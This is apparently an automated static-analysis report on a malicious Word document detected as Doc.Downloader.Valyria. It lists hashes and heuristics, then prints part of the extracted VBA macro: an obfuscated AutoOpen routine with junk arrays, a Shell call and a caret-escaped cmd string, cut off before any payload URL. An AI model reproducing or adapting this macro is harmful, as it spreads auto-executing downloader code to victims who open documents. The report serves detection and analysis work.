Doc.Downloader.Valyria-6715188-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 1109e7af401ac5d8…

MALICIOUS

Office (OLE)

86.4 KB Created: 2018-09-20 16:23:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: f9b8a1b0268a18c0ff41e2bd5c820017 SHA-1: a0b1027d307e6dc019b22acbc1c729f5d8cf1179 SHA-256: 1109e7af401ac5d8bb7a70c6379ceda82e657201f1e535be31cacd1201ffbdea
142 Risk Score

Malware Insights

Doc.Downloader.Valyria-6715188-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Valyria-6715188-0. It contains a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code when the document is opened. The macro appears to be obfuscated and truncated, but its presence and the AutoOpen marker strongly suggest it's designed to download and execute a secondary payload. The primary IOC is the VBA macro file itself.

Heuristics 5

  • ClamAV: Doc.Downloader.Valyria-6715188-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6715188-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15222 bytes
SHA-256: 9be8f852a3da90663e45a46df85484e94d6b69aa98fd56650b9578474e094dd0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CYtijPIj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const BAzCCdXhn = 0
   Dim LETLT(5)
LETLT(0) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
LETLT(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
LETLT(2) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
LETLT(3) = MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557)
LETLT(4) = Right(liBtYksT, 399) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim ImAFrR(4)
ImAFrR(0) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
ImAFrR(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
ImAFrR(2) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Right(liBtYksT, 399)
ImAFrR(3) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557)
   Dim nnFAHd(5)
nnFAHd(0) = Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222)
nnFAHd(1) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Right(liBtYksT, 399)
nnFAHd(2) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691)
nnFAHd(3) = MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
nnFAHd(4) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222)
   Dim AwXzUh(4)
AwXzUh(0) = Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691)
AwXzUh(1) = Right(liBtYksT, 399) + Left(bVEjC, 222)
AwXzUh(2) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
AwXzUh(3) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim AidZHM(2)
AidZHM(0) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
AidZHM(1) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + Mid(jUuNb, 857, 557) + Mid(jUuNb, 857, 557)
   Dim vLvYr(2)
vLvYr(0) = MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691) + Left(bVEjC, 222)
vLvYr(1) = Left(bVEjC, 222) + Right(liBtYksT, 399) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
Shell@ jvjVE + kcOfW + ijbdGpzi + LWRmnEVWqjb, BAzCCdXhn
   Dim aIoFv(3)
aIoFv(0) = Mid(jUuNb, 857, 557) + Right(liBtYksT, 399) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
aIoFv(1) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
aIoFv(2) = MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Mid(jUuNb, 857, 557)
   Dim wzXLP(3)
wzXLP(0) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
wzXLP(1) = Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
wzXLP(2) = MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691)
   Dim CcLkv(2)
CcLkv(0) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
CcLkv(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
End Sub


Attribute VB_Name = "AIzIYrDULpj"
Function jvjVE()
Dim vDuKhw(5)
vDuKhw(0) = Right(liBtYksT, 399) + Left(bVEjC, 222)
vDuKhw(1) = Left(bVEjC, 222) + Left(bVEjC, 222)
vDuKhw(2) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557)
vDuKhw(3) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
vDuKhw(4) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557)
   Dim kUBAO(4)
kUBAO(0) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
kUBAO(1) = Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399)
kUBAO(2) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
kUBAO(3) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim MVcati(2)
MVcati(0) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691)
MVcati(1) = Left(bVEjC, 222) + Left(bVEjC, 222)
notRprKQXX = CStr(Chr(CleanString(3 + 17 + 12 + 3 + 64))) + "md /V/" + CStr(Chr(CleanString(2 + 11 + 8 + 2 + 44))) + CStr(Chr(CleanString(1 + 5 + 4 + 1 + 23))) + "s^e^" + "t ^q^8y= " + " ^  ^ ^" + "  " + " ^ ^ ^ " + "^ ^   " + "^ ^ }" + "^}" + "^{h" + CStr(Chr(C
... (truncated)

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